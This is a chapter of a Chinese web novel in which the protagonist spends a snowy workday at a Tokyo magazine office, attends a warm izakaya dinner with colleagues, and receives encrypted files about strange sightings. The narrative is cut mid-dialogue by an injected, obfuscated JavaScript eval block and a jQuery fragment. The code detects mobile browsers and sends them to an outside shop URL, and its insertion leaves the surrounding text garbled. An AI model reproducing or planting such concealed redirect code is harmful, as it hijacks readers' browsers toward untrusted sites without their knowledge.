第二十七章认真看看这个世界
十二月五号,东京下了入冬以来的第一场薄雪。
白桔出门的时候天刚亮,灰白色的云层压得很低,偶尔有几片细碎的雪花从云缝里漏下来,落在他的肩膀上,还没来得及看清形状就化成了一小点水渍。
他把围巾往上拉了拉,帽衫的帽子扣在头上,手插在口袋里,沿着街道往车站的方向走。
出租屋里其他人都还在睡。
孙路昨晚研究词条研究到凌晨三点,快天亮才合眼。
淇洋的咖啡喝到了凌晨两点才停,这会儿估计刚进入深度睡眠。
墨染和西音是破天荒十二点就睡了的人,但闹钟没响她们不会醒——墨染不小心把闹钟装进了口袋里,掏不出来了。
(白桔:……所以你今天只能靠生物钟了?)
(墨染:嗯。)
(白桔:那你几点醒?)
(墨染:看命。)
白桔走进车站的时候,站台上已经站了不少人。
穿西装的上班族、背书包的学生、拎着公文包的中年男人、戴着耳机刷手机的年轻人,每个人脸上都带着一种介于“还没醒”和“不得不醒”之间的表情。
电车晃晃悠悠地开了四十分钟。
白桔靠着车门旁边的位置,手插在口袋里,看着窗外掠过的街景——灰色的住宅楼、半黄的树、亮着灯的便利店、稀稀落落的行人。
他的呼吸在冰冷的车窗玻璃上结了一层薄薄的白雾,他伸出手指在上面画了一只歪歪扭扭的猫。
(白桔:连战……)
(白桔:你什么时候回来啊!!!)
白桔进杂志社的时候,前台的小姐正在喝一杯冒着热气的抹茶拿铁,看到他进来冲他笑了一下:“白川桑,早上好!今天下雪了呢!”
“早上好,”白桔伸手拍了拍外套上残留的雪粒,“是啊,入冬了。”
“清流小姐刚才来找过你,说等会儿要给你看样稿。”
“好,我一会儿去找她。”
他拐过走廊,经过茶水间的时候闻到一股烤面包的香味——有人刚热了便利店的菠萝包。
他绕过两个抱着文件边走边聊天的同事,走到自己的工位前,把公文包放下来,脱了外套挂在椅背上,然后坐下来叹了口气。
办公桌靠窗。街对面那家唱片店的招牌还在,橱窗里贴着一张新的海报——某支乐队的冬季巡演,背景是雪地里的摩天轮。
窗台上落了一层薄薄的雪,白色的,细碎的,像糖霜撒在深灰色的窗框上。
白桔盯着那片雪看了几秒,然后拿起桌上最上面那份稿子翻开了。
这一天过得很普通。
上午他审了三篇短篇小说,两篇散文,一篇连载小说的最新章。
中午他去茶水间热便当的时候碰上了主管名取漠尘。当时名取正靠在窗边喝咖啡,看到白桔进来,点了点头。
“白川桑,稿子看得怎么样?”
“还行,”白桔把便当盒放进微波炉,按了三分半钟,“《冬夜便利店》那篇挺好的,情感很细腻。”
“那篇是清流的。”
“嘿嘿。”
名取笑了一下,把咖啡杯放下:“年终总结下个月要交了,你有空写一下。”
“好。”
“记得写得好一点,”名取拍了拍他的肩膀,“别写太快,写太快会被认为不认真。”
(白桔:……还有这种说法?)
(名取:潜规则。)
(白桔:学到了。)
微波炉“叮”了一声,白桔把便当端出来,名取端着咖啡出去了,茶水间里只剩下他一个人。
窗外的雪下得比刚才大了些,街道上的行人都撑起了伞,灰白色的伞面在灰色的天空下移动着,像河流上的浮冰。
下午两点左右,白桔去找了一趟清流元朔。
元朔是杂志社的合作作者,写校园恋爱的。
她比白桔大两岁,扎着一根低马尾,戴着一副圆框眼镜,穿着件米白色的毛衣,看起来很温柔。
但白桔知道她私下里的样子——会在交稿前三天疯狂熬夜然后哭着发消息说“我写不完了我要转行去开便利店”,会在遇到卡文的时候一口气吃掉三盒雪糕然后在群里发“雪糕是灵感之源”配图是空盒子堆成的小山。
(白桔:清流小姐,上次那篇样稿我看完了。)
(元朔从屏幕后面抬起头:怎么样?)
(白桔:挺好的,结尾写拥抱的剧情再删一些,简短点就更好了。)
(元朔:删除?)
(白桔:……其实不删也行。)
(元朔:行吧行吧,我改改。)
白桔回到工位的时候,桌面多了一张便签纸,上面是实习生留的——“白川前辈,昨天的那份稿件我整理好了放在你文件夹里了,辛苦了——花田。”
字迹很工整,末尾画了一颗小星星。
(白桔:好孩子。)
他把便签纸收进抽屉里,打开文件夹看了看,稿件已经按类别归好了档,连页码都标了。
他靠着椅背坐了一会儿,忽然觉得这个工位、这张桌子、这份工作……其实还不错。
傍晚六点半,杂志社突发聚餐。
地点选在涉谷一家居酒屋,是那种暖黄灯光、木制桌椅、墙上贴着手写菜单的老店。
白桔到的时候已经来了七八个人,名取坐在最里面靠墙的位置,旁边挤着几个作者和同事。
元朔坐在长桌的另一端,面前已经摆了一杯梅酒。
“白川桑!这边这边!”
白桔挤进去在元朔旁边的空位坐下,接过服务员递过来的热毛巾擦了擦手,然后扫了一圈桌上的人。
杂志社的同事——平时负责排版的高桥、负责校对的山田、总跑外勤的田中、刚来两个月的实习生花田。
还有几个跟杂志社长期合作的作者,包括元朔和一位写职场小说的中年大叔。
居酒屋的暖气开得很足,大家都脱了外套搭在椅背上。
杯盏碰撞的声音、烤串在炭火上滋滋作响的声音、服务员喊“欢迎光临”的声音混在一起,暖烘烘地笼着整个空间。
高桥夹了一块烤鸡翅,忽然叹了一口气:“我老婆昨天跟我说想换个大点的房子。”
“换呗。”山田说。
“换什么换,东京房价能给我换出一身债。”
田中递给他一杯啤酒:“那你跟她说说呗。”
“我说了,她让我睡沙发。”
(众人:哈哈哈哈哈。)
山田转向名取:“名取桑呢?你女朋友最近怎么样?”
名取很平静地喝了一口酒:“上周分手了。”
桌子上安静了一瞬。
“说她想养猫,但我对猫毛过敏。”名取把酒杯放下,“后来发现她跟她养猫的初恋在一起了。”
(高桥:……这也太戏剧化了。)
(名取:生活就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17819012|211104||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是这样戏剧化。)
(白桔:……)
元朔在旁边小声说了一句:“他那情敌养了四只猫。估计是输在数量上了。”
(白桔:……这是重点吗?!)
(白桔:这明明是劈腿啊……)
元朔笑了笑,低头喝梅酒。
居酒屋里又热闹起来了。
高桥开始抱怨年终奖的预期,山田分享了他上周带女儿去迪士尼的经历,田中在手机上刷到一只会唱歌的鹦鹉,立刻把屏幕怼到每个人面前。
花田坐在白桔对面,正低头给一片烤年糕翻面。
白桔注意到她的手机壁纸是一张手绘的雪景,画风很青涩,像是她自己画的。
“花田,那张壁纸是你画的吗?”
花田抬头愣了一下,然后有点不好意思地点了点头:“嗯,我在学水彩。”
“画得很好。”
花田的耳朵尖红了:“谢谢前辈……”
白桔靠在椅背上,手里端着一杯啤酒没怎么喝。
他看着这一桌人,忽然觉得有一种很实在的暖意从胃里升起来。
这些人会哭也会笑。会因为房贷焦虑,会因为女朋友分手丧气,会因为女儿说了一声“爸爸辛苦了”高兴一整天。
会因为年终奖的数字皱眉头,会因为月底的业绩焦头烂额,会在深夜里对着电脑屏幕发呆叹气,也会在居酒屋里跟朋友一起吐槽某个离谱的上司。
(白桔:这个世界的普通人,也在好好活着啊。)
他低头看了一眼自己的杯子,啤酒表面浮着一层细密的白沫。
(白桔:我也是这个世界里的普通人之一了。)
(白桔:虽然还要打架,还要填坑,还要挨揍,还要被孙路叔叔坑。)
(白桔:但也是普通人。)
聚餐快散场的时候,白桔去了一趟洗手间。
回来的时候他发现元朔站在居酒屋门口,手里捏着手机,像是在等他。
“白川先生。”
白桔停住了:“清流小姐,怎么了?”
元朔把手机屏幕转过来。
上面是一个加密文档的传输界面,进度条已经走完了100%。
文件名是一串日期和代号。
“我整理了大家发来的那些‘异常事件’的目击者说法,”元朔把手机收回去,“从新闻、论坛、私人聊天记录里筛出来的。里面有提到过一个紫色的身影。”
白桔愣了一下:“你怎么知道我在查这个?”
元朔歪了一下头,眼镜片后面的眼睛弯了弯:“大家又不傻。”
(白桔:……)
(元朔:资料已经发到你的工作邮箱了。你自己记得加密。)
白桔张了张嘴,然后笑了:“谢谢。”
“不客气,”元朔把围巾重新裹好,转身走进雪里,“下次请我们吃薯片就行。”
她走远了。米白色的大衣在雪夜里很显眼,像一片移动的云。
白桔站在居酒屋门口,看着她的背影消失在街角的灯光里,低头拿出了手机。
收件箱里多了一封邮件,发件人是清流元朔,附件是一个加密压缩包。他看了两秒,把手机塞回口袋里。
雪花落在他的肩膀上、头发上、手背上。凉凉的,化成一点点水渍,很快就被体温烘干了。
他转身往车站的方向走去。身后居酒屋的灯光暖融融的,门缝里漏出一点笑声和杯碟碰撞的声响,然后被夜风和雪一并卷走了。